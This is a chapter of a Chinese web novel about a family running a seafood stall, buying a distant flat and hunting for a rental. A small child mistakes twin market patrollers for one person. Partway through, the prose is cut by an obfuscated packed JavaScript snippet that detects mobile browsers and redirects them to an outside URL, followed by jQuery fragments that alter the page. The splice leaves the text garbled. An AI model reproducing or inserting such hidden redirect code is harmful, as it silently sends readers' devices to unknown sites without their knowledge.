冯国兴接着瞪冯欣愉:“你现在倒是学会说话留一半,连我也瞒着。”
冯欣愉垂下脸避开他的视线,这不是她妈妈交代不能说嘛。
“买都买了,你别在这瞪来瞪去。”房子是上午去房管所办过户手续,冯国兴人是快天黑才回来。不能怪她没通知到位,实在是来回跑了三天忙忘了。
冯国兴兀自拿起水管出去清洗塑料盆,自己在那生了一会闷气,别扭道:“房子去看过没?别买回来不能住人。”
张凤英挑着优点说:“向东带我们去看过了,全部窗坐北朝南,早上还有太阳晒进客厅。”
就是房子前后都是田地,最近的农贸市场在2.5公里外。至于高档商场,在东江区中轴线的南边,站窗前隐约能看见栋楼。要想逛个公园什么的,还要坐十来站公交,和陈向东当初介绍的出入很大。
冯国兴嘀咕:“向东嘴里没句真话,这次还真让他找到靓房?”
“等房产证下来,你拜托向东帮忙租出去。”两表兄弟好说话,张凤英就不再插手了。
“买个那么远的房子,我们自己又不能丢下这边的生意搬过去那边住,就是麻烦。”冯国兴转身揉了把冯乐言的头发,意有所指地感慨:“妹猪,你千万不能被花花世界迷了眼,乡下等着我们回去。”
“噗!”冯欣愉笑他过于自信,斜睨一眼冯乐言问:“老爸,你回来有听到妹猪吵着回乡下吗?”
冯国兴瞥见蹑手蹑脚走开的小豆丁,冯乐言的倒戈来得突然,他痛心道:“你也当叛徒?!”
冯乐言是从张凤英那里得知,阿嫲进了医院做手术,身上很痛需要休养。她寻思阿嫲没有爸爸妈妈给她钱花,那做手术的钱就得阿嫲自己出。阿嫲都这么穷了,她考虑很久,不能回乡下再花阿嫲的钱。
“我不是叛徒!”冯乐言一直想着阿嫲!
“你这样就是......”
“多大人了,还和小孩较劲。”张凤英打断冯国兴的话,下巴朝桌子一抬,说:“妹猪,你不是说要给人送吃的吗?趁市场还没关门,赶紧去吧。”
冯乐言今天在东江区碰见没有吃过的水果,心心念念回来要给李群芳送。
冯乐言两手抓满跑出去,在市场里转了两圈才找见戴着袖章的李群芳。飞奔过去翘起脚让她看脚上的雨鞋,开心道:“阿婆,我有雨鞋穿!以后在档口帮忙,不乱跑啦!”
说罢径自把两颗果子塞过去,扬声道:“这个叫山猪哦,里面的肉白白的,像甘蔗一样甜!”
“你是哪家的孩子?”李群芳板着脸塞回给她:“我不吃,你拿回去。”
“我叫冯乐言呀,你不记得我了吗?”冯乐言的杏圆眼一直不解地看她。
“找你爸妈去吧,我没空搭理你。”李群芳不苟言笑地背起手,绕过人继续巡逻。
“你不理我,我也不理你!”
冯乐言是牵着菜档家女儿的手回来,张凤英瞧她嘴巴撅得可以挂油瓶,好奇道:“山竹没有送出去?”
“哼!我给静姐姐吃!”冯乐言气鼓鼓地抱起双臂。
何静羞涩地开口:“我碰见她在鲜肉区那边,就带她回来。没想要山竹,是她非要我吃了才肯走。”
“你居然会不好意思。”冯欣愉一把揽过人肩膀,何静也是之前去吉祥坊通知她回档口的女孩,他们是同班同学。
“好吃吗?”张凤英问她。
何静迟疑地点了点头,张凤英笑道:“好吃就行。”
至于冯乐言,谁也不知道她为什么生气。
眼看天空从晚霞万丈变成蓝绸布,档口留下冯国兴打扫,张凤英带着两个女儿回家做饭。
——
黄太两公婆昨晚上夜班,回来和人八卦才知道治安队来过。拿着洗干净的菜心去厨房,神秘兮兮地开口:“原来谭亮忽然冒出个老婆,是因为他搞大人家肚子!啧啧,平时看着人挺斯文的,没想到是个表面光。”
张凤英正给黄沙蚬焯水,心不在焉地“啊”了声。
黄太隔着镂空窗看了眼外头,低声问:“我怎么听人说你婆婆先前挑着鸡来,又气得挑着鸡走了,还进了医院,人没事吧?”
“肯定又是关八婆那个大喇叭造谣。”
这栋楼除了租户还有三户原住民,其中一户就是201室的关家。关家三兄妹个个游手好闲,小女儿关彩霞是出了名的碎嘴子。
张凤英从厨房抽出插在墙架子上的菜刀,气势汹汹地往外走。
“哎哎哎!”黄太太连忙拽住她的胳膊:“大家朝见口,晚见面。不过小事,和和气气地过去就
算咯!”
“呸!我才不和关八婆一般见识。”张凤英一脸轻松:“我割韭菜炒黄沙蚬。”
每家门前的阳台都砌有长方形的花盆,勤俭持家的主妇们哪会放过这一块地方。他们家种了葱和韭菜,黄太太家种的芦荟,说是给女儿准备用来敷脸的。
黄太拍拍胸口,嗔怪一句‘被你吓死’扭头回去烧锅炒菜。将将拿起锅铲又被一声巨响吓得抖落锅里,小碎步摸到门边张望。
张凤英连踹两脚201的铁门,她是不和关彩霞计较,倒没说不会找她全家麻烦,高声骂道:“别人拉个屎,也要趁热看一眼。这么爱看,你家去街口承包公厕啊!”
冯乐言迅速掏弹弓‘上膛’,一副准备大干一场的架势:“我去帮忙!”
“轮不到你上,去把垃圾铲给我拿来。”冯欣愉把人拉回来,淡定地用脚把地上的黄菜叶拨成一堆。
冯乐言半信半疑地取下挂门旁边的扫把,等了又等,201室始终没有动静。
冯欣愉脸上带着不属于她这个年纪的嘲讽:“有些人就像恶心的小强,打它就装死。”
“就像这样吗?”冯乐言一脚踩中墙根那翻肚皮的蟑螂。
“咦!”冯欣愉鸡皮疙瘩爬满全身,看着她居然捻起仍然四肢乱蹦的蟑螂,迅速后退撞上门板,捂住眼睛喊道:“你快扔掉它!”
“阿嫲说要烧掉。”冯乐言循着厨房飘出来的香味找过去。
经过201门口时,门后蹲着的女人和蟑螂近距离对了个眼,顿时跌坐在地尖叫一声。
冯乐言惊得手一抖,蟑螂呈抛物线越过缕空铁架飞到女人头上,一阵撕心裂肺的尖叫响彻三层筒子楼。
“谁家在杀猪?”刚从楼梯口拐出来的冯国兴急急问道。
“猪肉又不会分给你吃,赶紧去厨房拿那盆黄沙蚬出来挑肉!”张凤英剃光花盆里的韭菜,扬声笑道:“妹猪,打肥皂把手洗干净!”
一家四口分成两组坐门口,父女三人围着满满一脸盆黄沙蚬挑肉粒。这个肉挑出来估计只有一碗,吃口鲜甜。
张凤英坐一边择韭菜,头也不抬地吩咐:“冯国兴,这两天有空去找找房子。谭亮结婚用这里作新房,我们得腾出房子。”
“谭亮结婚了?”冯国兴又迎来一个惊雷,不过这是人家的房子,要收回去无可厚非,他有点肉疼:“可惜租金便宜,地方又近便的房子难找。我明天去找人打听。”
“租个两房的,正好把妈也接来城里住。”
“妈也来?!”冯国兴惊讶地看向张凤英,转而想了想嘀咕:“一个阑尾炎就把她吓得交代后事,接来一起住也好,省得她在乡下想些乱七八糟的。”
冯乐言
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16490991|185860||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
听到现在,惊喜地扬起笑脸:“阿嫲也会来吗!”
“是啊,你不用回乡下也能见到阿嫲了。”冯欣愉捏了捏她鼓起的脸颊肉。
冯乐言开心得忘了之前的恩怨,次日一早在菜市场见到李群芳首先打招呼:“阿婆,我阿嫲要来啦,她做的鲮鱼饼好好吃的哦!”
“是嘛,听得我馋鲮鱼饼了。”李群芳牵住她的手,“在市场里玩就对了,别跑外面有坏人的。”
今天的李群芳和颜悦色,对比昨天简直像换了个人。冯乐言大脑一阵凌乱,仰头看着人困惑道:“阿婆,你是不喜欢吃山猪吗?”
“山猪?”李群芳撇嘴:“野猪肉不爱吃,又骚又柴。”
“不是猪肉!”冯乐言很是费解:“我昨天给你的呀!”
“我昨天见过你?”李群芳说着恍然,抬手往前一指,促狭道:“你是不是遇见她了?”
冯乐言顺着手指方向看去,不敢置信地揉了揉眼睛。
一个脸臭臭的李阿婆迎面走来!
有两个一模一样的阿婆!
***
英姐水产店,冯国兴在冯乐言面前挥了挥手,纳闷道:“这孩子怎么丢了魂似的?”
冯乐言回来就陷入沉思,瞳孔聚焦看向他:“爸,你见过两个一模一样的人吗?”
“见过啊,那不是双胞胎嘛!”
“什么是双胞胎?”
“就是两个长得一样的人。”
“为什么会有两个长得一样的人?”
“呃...因为是双胞胎。”冯国兴急忙捏住她的嘴制止这无休止的绕口令,转而提起:“我去找房子,没空和你闹。”
冯欣愉放下报纸回头:“爸,我也要去!”
“呜呜,”冯乐言努力发声:“窝耶要!”
“不喊热,不喊累就带你们去。”
“嗯嗯!”两人一同点头。
冯国兴打算先在吉祥坊一带转转,最好的结果是就近搬家。身后跟着两条小尾巴也走不了多久,第一站寻到阿茂食店打听。
阿茂得悉他的要求,放下擦汗巾说:“隔壁巷子梁姐有房子出租,不过她家租金向来不便宜。”
这里是市中心,能找到宿舍院那样的老房子是侥幸。冯国兴做好心理预期,闻言一咬牙说:“谢了,我去看看。”
梁翠薇是吉祥坊名人,找到她家很容易。两层红砖小洋楼,矗立在双井巷路口。
透过铁栅门,冯乐言看见院子里很多不认识的花花树树,目光定在角落流水‘哗哗啦啦’的假山。
冯国兴刚才已经和梁翠薇打上照面,“咿呀”一声,穿着纱裙的女主人再次推门而出,手里拿着串钥匙说:“冯生,两房一厅还有一间,在隔壁三楼,跟我往这边走。”
冯乐言恋恋不舍地离开假山,跟着踏入七层高楼。屋子里除了两张木板床,什么都没有。
她对空荡荡的屋子提不起兴趣,反而惦记隔壁那座很漂亮的房子。摇了摇姐姐的手臂,小声说:“我想下去玩。”
冯欣愉正忙着畅想房间布置,不耐烦地警告她:“只能在楼下,不许跑出街!”
“好!”冯乐言满口应承,跑到楼下发现隔壁铁栅门没有关上。
她一步一步挪到院墙边悄摸探头,一张白嫩嫩的脸蛋映入眼帘,比阿嫲说的花生仁还要白。像白糖糕让人想咬一口,尝尝是不是甜味的。
梁晏成正蹲在地上推铁皮小火车,猝不及防对上一双乌溜溜的圆眼。猛地站起来,两手提起垂至脚踝的衣摆往家里跑。
他螃蟹似的走路姿势让冯乐言愣住,回过神来扯嗓子喊:“你的小火车没拿!妹妹!”